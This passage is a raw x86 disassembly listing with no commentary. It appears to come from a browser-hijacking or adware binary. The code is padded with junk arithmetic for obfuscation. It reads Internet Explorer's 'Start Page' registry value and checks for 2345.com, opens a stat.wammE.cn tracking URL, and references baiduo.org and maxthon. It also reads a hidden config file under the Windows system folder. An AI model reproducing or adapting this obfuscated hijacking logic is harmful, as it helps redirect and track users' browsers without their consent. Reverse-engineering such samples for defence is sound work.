mov eax, dword [ebp - 0x10c8]
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece8]
shr ecx, 0x1f
imul edx, edx, 0x6b66a94
add eax, ecx
mov ecx, dword [0x45ece0]
imul ecx, ecx, 0x140cef57
sub eax, ecx
mov ecx, dword [0x45ece4]
imul ecx, ecx, 0x6181b446
sub eax, edx
mov edx, dword [str._r_____r____]
add eax, ecx
sub eax, edx
sub eax, 0x4f64023c
test ebx, ebx
mov dword [0x45eccc], eax
jne 0x42272f
mov edx, dword [ebp - 0x113c]
push edx
call fcn.004277e0
mov esi, eax
jmp 0x422735
mov edi, dword [0x45ecd0]
mov eax, edi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov dword [ebp - 0x10c8], eax
push 1
mov eax, esi
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
imul ebx, ebx, 0x7f4ea4e2
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
mov eax, 0x4d7937c3
mul edi
shr edx, 0x1e
add ecx, edx
mov eax, 0x2a01e433
imul edi
sar edx, 0x1c
sub ecx, ebx
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x6181b446
add eax, ecx
push str.startup.exe
mov dword [0x45ecc8], eax
call fcn.004105d0
add esp, 4
test eax, eax
jle 0x422212
mov eax, dword [ebp - 0x1110]
test eax, eax
mov byte [ebp - 4], 5
je 0x4226f0
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x1114]
test eax, eax
mov byte [ebp - 4], 4
je 0x422704
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 2
je 0x422718
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x110c]
test eax, eax
mov byte [ebp - 4], 1
je 0x4243d7
jmp 0x4243d1
mov esi, dword [ebp - 0x10d8]
push 0
call fcn.004320d7
sub eax, dword [0x5727f4]
add esp, 4
cmp eax, 5
jle 0x423906
test esi, esi
je 0x422769
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422757
sub eax, edx
cmp eax, 5
ja 0x423906
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edi, eax
mov eax, dword [0x45ecd8]
add eax, ecx
imul ecx, ecx, 0x151f392d
imul eax, eax, 0x5295f78d
add edi, eax
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45ece0]
lea edx, [edi + ecx - 0x6181b446]
mov dword [0x45ecd4], edx
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
lea esp, [esp]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x4227e0
lea eax, [ebp - 0x1c4]
push eax
call fcn.00427680
mov esi, dword [0x45ecc8]
mov dword [ebp - 0x10cc], eax
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x140cef57
mov ebx, eax
sub ebx, edx
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub ebx, edx
mov eax, 0x2a215c6f
mul esi
mov eax, dword [0x45ece4]
sub esi, edx
imul eax, eax, 0x6181b446
shr esi, 1
add esi, edx
mov edx, dword [0x44fe10]
shr esi, 0x1f
add ebx, esi
sub ebx, eax
mov eax, dword [0x44fe14]
add ebx, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x44fe18]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x44fe1c]
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x45ecd4]
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
cdq
movsw word es:[edi], word [esi]
mov esi, dword [0x45eccc]
mov edi, eax
push 2
mov dword [ebp - 0x10e4], edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [0x45ece8], ebx
mov dword [ebp - 0x1130], 0
mov dword [ebp - 0x10e8], edi
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
mov ecx, dword [ebp - 0x10e4]
push 2
push 0xb57eb16
push ecx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
mov edx, dword [ebp - 0x10e4]
push 1
push 0xeae0c6d3
push edx
mov eax, edi
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10d0]
push 1
push 0x86050f76
add ecx, eax
mov eax, dword [ebp - 0x10d4]
push edx
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
imul ebx, ebx, 0x6b66a94
mov edx, dword [0x45ecdc]
mov ecx, dword [ebp - 0x10c8]
imul edx, edx, 0x5295f78d
sub ecx, eax
sub ecx, esi
add ecx, ebx
lea eax, [ebp - 0x1130]
push eax
add ecx, edx
push 0xf003f
mov dword [str._r_____r____], ecx
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x422d80
mov edi, dword [0x45ece8]
mov eax, edi
cdq
mov ebx, eax
mov eax, dword [0x45ecd4]
push 1
mov esi, edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0x10f4], esi
call fcn.004319f0
push 2
push 0x6b66a94
push esi
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov esi, dword [0x45ece0]
sub eax, ecx
mov ecx, eax
mov eax, 0x2a215c6f
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
push 1
add eax, edx
mov edx, dword [ebp - 0x10f4]
push 0xebf310a9
shr eax, 0x1f
push edx
add ecx, eax
push ebx
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul edi, edi, 0x6181b446
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
sub ecx, edi
mov edi, dword [0x45ecc8]
mov eax, edi
imul eax, eax, 0x151f392d
mov edx, esi
imul edx, edx, 0x242d3a05
sub ecx, eax
mov eax, dword [0x45ece4]
sub ecx, edx
cdq
mov ebx, eax
mov eax, dword [0x45ecd0]
push 1
mov dword [ebp - 0x1104], edx
cdq
push 0xebf310a9
push edx
push eax
mov dword [0x45ecd8], ecx
mov dword [ebp - 0x1108], ebx
call fcn.004319f0
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x10c8], eax
mov eax, 0x4d7937c3
mul dword [0x45ecd0]
mov eax, dword [ebp - 0x10c8]
push 1
push 0x5295f78d
shr edx, 0x1e
push ecx
add eax, edx
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, esi
imul edx, edx, 0x7f4ea4e2
sub ecx, eax
sub ecx, edx
mov ebx, dword [0x45ecd0]
imul edi, edi, 0x6181b446
mov eax, 0x2a01e433
imul ebx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
add eax, edi
mov edi, dword [0x45eccc]
mov dword [0x45ecc8], eax
push 0xfffffffffffffffe
mov eax, edi
cdq
push 0xad6a0873
push edx
push eax
mov dword [ebp - 0x10d8], 0x104
call fcn.004319f0
mov ecx, dword [ebp - 0x1104]
add ebx, edi
mov edi, dword [ebp - 0x1108]
imul ebx, ebx, 0x79faf08a
push 2
push 0xb57eb16
push ecx
sub eax, ebx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov edx, dword [ebp - 0x1104]
mov ecx, dword [ebp - 0x10c8]
push 1
push 0xeae0c6d3
push edx
add ecx, eax
push edi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul esi, esi, 0x2c857103
mov ecx, dword [ebp - 0x10c8]
add ecx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ecx, esi
add ecx, eax
mov dword [0x45ecdc], ecx
lea ecx, [ebp - 0x10d8]
push ecx
mov ecx, dword [ebp - 0x1130]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10c8]
push eax
push 0
push str.Start_Page
push ecx
mov dword [ebp - 0x10c8], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x422d80
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov ebx, edx
mov edi, eax
push ebx
push edi
call fcn.004319f0
push 1
push 0x5295f78d
push ebx
push edi
mov esi, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
mov edi, dword [0x45ece0]
add esi, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [0x45ece8]
sub ecx, edx
imul eax, eax, 0x6b66a94
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add esi, ecx
mov ecx, dword [0x45ece4]
mov edx, edi
imul ecx, ecx, 0x6181b446
imul edx, edx, 0x140cef57
sub esi, edx
mov edx, dword [str._r_____r____]
sub esi, eax
mov eax, dword [0x572b18]
add esi, ecx
sub esi, edx
sub esi, 0x4f64023c
test eax, eax
mov dword [0x45eccc], esi
jne 0x422d8c
lea edx, [ebp - 0x144]
push str..2345.com
push edx
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x422c8a
lea eax, [ebp - 0x144]
push str..2345.COM
push eax
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x422d80
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10dc], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10dc]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0x10dc], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10dc]
mov edx, dword [ebp - 0x10d4]
push 1
add ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0x10dc], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10dc]
mov edx, dword [0x45ecdc]
sub ecx, eax
imul edx, edx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
lea eax, [ebp - 0x144]
push eax
add ecx, edx
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_HomePage_s
push 0x5615e8
mov dword [str._r_____r____], ecx
mov dword [0x572b18], 1
call fcn.00431a9a
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45eccc]
mov edi, dword [0x45ece0]
mov eax, dword [0x45ece4]
cdq
mov ebx, eax
push 0xfffffffffffffffe
mov dword [ebp - 0x1104], edx
mov eax, esi
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0x1104]
add ecx, esi
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
push edx
sub eax, ecx
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
add ecx, eax
mov eax, dword [ebp - 0x1104]
push 0xeae0c6d3
push eax
push ebx
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul edi, edi, 0x2c857103
mov edx, dword [0x45ecdc]
mov ecx, dword [ebp - 0x10c8]
imul edx, edx, 0x6181b446
add ecx, eax
mov eax, dword [ebp - 0x1130]
sub ecx, edi
add ecx, edx
push eax
mov dword [0x45ecdc], ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x45ece4]
mov esi, dword [0x45ecd0]
cdq
mov ebx, eax
push 1
mov edi, edx
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
mov dword [ebp - 0x1104], edi
call fcn.004319f0
mov dword [ebp - 0x10c8], eax
mov eax, 0x4d7937c3
mul esi
mov eax, dword [ebp - 0x10c8]
push 1
push 0x5295f78d
shr edx, 0x1e
push edi
add eax, edx
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov edx, dword [0x45ece0]
mov ecx, dword [ebp - 0x10c8]
imul edx, edx, 0x7f4ea4e2
sub ecx, eax
sub ecx, edx
mov eax, 0x2a01e433
imul esi
mov eax, dword [0x45ecc8]
sar edx, 0x1c
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
imul eax, eax, 0x6181b446
mov edi, dword [str._r_____r____]
add esi, eax
mov eax, dword [0x45ecd8]
cdq
mov dword [ebp - 0x1100], eax
push 1
mov dword [ebp - 0x10fc], edx
mov eax, edi
cdq
push 0xb09bfdc4
push edx
push eax
mov dword [0x45ecc8], esi
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov edx, dword [ebp - 0x1104]
add esi, ecx
imul esi, esi, 0x242d3a05
push 2
push 0xb57eb16
push edx
sub eax, esi
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov esi, dword [ebp - 0x1100]
push 1
sub ecx, eax
mov eax, dword [ebp - 0x10fc]
push 0xeae0c6d3
push eax
push esi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov edx, dword [ebp - 0x10fc]
mov ecx, dword [ebp - 0x10c8]
push 1
push 0x86050f76
push edx
sub ecx, eax
push esi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul edi, edi, 0x151f392d
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
mov eax, dword [ebp - 0x1110]
sub ecx, edi
lea edx, [ebp - 0x1120]
push edx
mov dword [0x45ece4], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1120]
push eax
call fcn.004277e0
mov edi, eax
mov eax, dword [0x45ecdc]
push 2
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10dc], edi
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ebx, dword [0x45ece8]
mov ecx, ebx
imul ecx, ecx, 0x6b66a94
sub eax, esi
add eax, ecx
mov ecx, dword [0x45ecd8]
mov edx, ecx
imul edx, edx, 0xb57eb16
add eax, edx
mov esi, eax
mov eax, 0x2a01e433
imul ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x5295f78d
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [0x45ece4]
add eax, ecx
sub eax, esi
sub eax, 0x6181b446
test edi, edi
mov dword [0x45ecd0], eax
je 0x423116
mov esi, dword [ebp - 0x10dc]
mov edi, str.about:blank
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x423110
mov eax, ebx
cdq
mov edi, eax
mov eax, dword [0x45ecd4]
push 1
mov esi, edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0x10f4], esi
call fcn.004319f0
push 2
push 0x6b66a94
push esi
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov esi, dword [0x45ece0]
sub eax, ecx
mov ecx, eax
mov eax, 0x2a215c6f
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
push 1
add eax, edx
mov edx, dword [ebp - 0x10f4]
push 0xebf310a9
shr eax, 0x1f
push edx
add ecx, eax
push edi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul ebx, ebx, 0x6181b446
imul esi, esi, 0x242d3a05
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x151f392d
sub ecx, ebx
sub ecx, eax
sub ecx, esi
push 1
mov dword [0x45ecd8], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1110]
mov ecx, dword [eax]
lea edx, [ebp - 0x1120]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1120]
push eax
call fcn.004277e0
mov ebx, dword [0x45ece8]
mov dword [ebp - 0x10dc], eax
mov eax, dword [0x45ecd0]
mov edi, dword [ebp - 0x10dc]
lea esi, [eax + ebx]
mov eax, dword [0x45eccc]
imul esi, esi, 0x4f64023c
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
sub eax, esi
mov esi, eax
push 1
mov eax, ebx
cdq
push 0x86050f76
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd4]
add esi, eax
imul ecx, ecx, 0x6b66a94
mov eax, dword [0x45ecd8]
imul eax, eax, 0x2c857103
sub esi, ecx
sub esi, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
push 4
sub esi, eax
push str.http
push edi
mov dword [0x45ece0], esi
call fcn.00432c40
add esp, 0xc
test eax, eax
je 0x423301
push 4
push str.HTTP
push edi
call fcn.00432c40
add esp, 0xc
test eax, eax
je 0x423301
push 4
push str.www.
push edi
call fcn.00432c40
add esp, 0xc
test eax, eax
je 0x423301
push 4
push str.WWW.
push edi
call fcn.00432c40
add esp, 0xc
test eax, eax
je 0x423301
push str.http:
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x423224
push str.HTTP:
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x423224
push str.www.
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x423224
push str.WWW.
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x423301
mov esi, dword [0x45ecc8]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x140cef57
mov ebx, eax
sub ebx, edx
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub ebx, edx
mov eax, 0x2a215c6f
mul esi
mov eax, dword [0x45ece4]
sub esi, edx
imul eax, eax, 0x6181b446
shr esi, 1
add esi, edx
shr esi, 0x1f
add ebx, esi
sub ebx, eax
add ebx, ecx
push str.http:
push edi
mov dword [0x45ece8], ebx
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x4232a9
push str.http:
jmp 0x4232f2
push str.HTTP:
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x4232c2
push str.HTTP:
jmp 0x4232f2
push str.www.
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x4232db
push str.www.
jmp 0x4232f2
push str.WWW.
push edi
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x423301
push str.WWW.
push edi
call fcn.0040ddf0
add esp, 8
mov dword [ebp - 0x10dc], eax
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 1
mov ecx, edx
push 0xeae0c6d3
mov eax, esi
cdq
push ecx
push edi
mov dword [ebp - 0x10e8], edi
mov dword [ebp - 0x10e4], ecx
mov ebx, eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
mov ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d8], eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov edx, dword [ebp - 0x10e4]
push 2
push 0xb57eb16
push edx
push edi
mov dword [ebp - 0x10e0], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10e0]
push 1
sub ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push ebx
mov dword [ebp - 0x10e0], ecx
call fcn.004319f0
mov ebx, dword [0x45ecdc]
mov ecx, dword [ebp - 0x10e0]
imul ebx, ebx, 0x5295f78d
sub ecx, eax
mov eax, dword [ebp - 0x10c8]
mov edx, esi
imul edx, edx, 0x140cef57
sub ecx, edx
mov edx, dword [ebp - 0x10d8]
add ecx, eax
add ebx, ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [0x44fd7c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.fdfdadsafdfghfjkt]
mov dword [ebp - 0x4c4], eax
mov eax, dword [0x44fd84]
mov dword [ebp - 0x4c0], ecx
mov cx, word [0x44fd88]
add ebx, edx
mov edx, dword [0x44fd80]
mov dword [ebp - 0x4b8], eax
mov word [ebp - 0x4b4], cx
mov dword [ebp - 0x4bc], edx
mov edx, dword [ebp - 0x10e4]
mov ecx, 0x7b
xor eax, eax
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
push 1
push 0x5295f78d
mov dword [str._r_____r____], ebx
stosw word es:[edi], ax
push edx
mov eax, dword [ebp - 0x10e8]
push eax
call fcn.004319f0
mov ecx, eax
mov eax, 0x2a215c6f
mul esi
mov eax, dword [0x45ece4]
sub esi, edx
imul eax, eax, 0x6181b446
shr esi, 1
add esi, edx
mov edx, dword [0x45ece0]
imul edx, edx, 0x140cef57
shr esi, 0x1f
add ecx, esi
sub ecx, edx
mov edx, dword [ebp - 0x10c8]
add ecx, eax
mov eax, dword [ebp - 0x10dc]
sub ecx, edx
mov edx, dword [ebp - 0x10d8]
sub ecx, ebx
lea esi, [ecx + edx - 0x4f64023c]
mov dword [0x45eccc], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4234a8
sub eax, ecx
mov dword [ebp - 0x10e0], eax
je 0x4235f2
mov esi, dword [ebp - 0x10dc]
push str.http:__
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str.HTTP:__
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str.www.
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str.WWW.
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..COM
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..com
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..NET
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..net
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..ORG
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..org
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push 0x44fd34
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push 0x44fd30
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..htm
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4235d7
push str..HTM
push esi
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x4235ec
push esi
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.00431a9a
add esp, 0xc
mov esi, dword [0x45eccc]
mov eax, dword [0x45ecd4]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10e0], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10e0]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0x10e0], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ebp - 0x10d4]
push 1
add ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0x10e0], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10e0]
sub ecx, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x5295f78d
push str.C:WINDoWS_system_sdax.txt
push 0x400
add ecx, eax
lea eax, [ebp - 0x8c4]
push eax
push 0x44ee59
push str.rtgbh
push str.asdf
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ebx, dword [ebp - 0x10dc]
test ebx, ebx
je 0x423826
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4236e2
sub eax, edx
mov dword [ebp - 0x10e0], eax
je 0x423826
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x423826
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x423787
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x423787
mov esi, str.http:__i.maxthon.cn_
mov eax, ebx
lea esp, [esp]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x423764
test cl, cl
je 0x423760
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x423764
add eax, 2
add esi, 2
test cl, cl
jne 0x423740
xor eax, eax
jmp 0x423769
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x423787
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x42379f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0040ddf0
add esp, 8
test eax, eax
je 0x423826
mov esi, dword [0x45ecdc]
push 2
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov ebx, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
mov edx, ecx
imul edx, edx, 0xb57eb16
sub ebx, edi
add ebx, eax
add ebx, edx
mov eax, 0x2a01e433
imul ecx
mov eax, dword [0x45ecc8]
mov ecx, dword [0x45ece4]
imul eax, eax, 0x5295f78d
sar edx, 0x1c
mov edi, edx
shr edi, 0x1f
add ebx, edx
add edi, ebx
add edi, eax
sub edi, ecx
sub edi, 0x6181b446
mov dword [0x45ecd0], edi
jmp 0x423912
push 0
call fcn.004320d7
mov edx, dword [0x572b14]
mov edi, dword [0x45ece8]
add esp, 4
mov dword [0x572b10], eax
inc edx
mov dword [0x572b14], edx
mov eax, edi
cdq
mov ebx, eax
mov eax, dword [0x45ecd4]
push 1
mov esi, edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0x10f4], esi
call fcn.004319f0
push 2
push 0x6b66a94
push esi
push ebx
mov dword [ebp - 0x10e0], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10e0]
mov esi, dword [0x45ece0]
sub eax, ecx
mov dword [ebp - 0x10e0], eax
mov eax, 0x2a215c6f
mul esi
mov eax, dword [ebp - 0x10e0]
mov ecx, esi
sub ecx, edx
shr ecx, 1
push 1
add ecx, edx
mov edx, dword [ebp - 0x10f4]
push 0xebf310a9
shr ecx, 0x1f
push edx
add eax, ecx
push ebx
mov dword [ebp - 0x10e0], eax
call fcn.004319f0
imul edi, edi, 0x6181b446
imul esi, esi, 0x242d3a05
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ebp - 0x10cc]
sub ecx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x151f392d
sub ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x1110]
sub ecx, esi
push edx
mov dword [0x45ecd8], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x9c]
mov esi, dword [0x45ecdc]
mov edi, dword [0x45ecd0]
push 1
mov eax, edi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov dword [ebp - 0x10cc], eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10cc]
mov ebx, dword [0x45ece0]
sub ecx, eax
mov eax, 0x4d7937c3
mul edi
mov eax, ebx
imul eax, eax, 0x7f4ea4e2
shr edx, 0x1e
add ecx, edx
sub ecx, eax
mov eax, 0x2a01e433
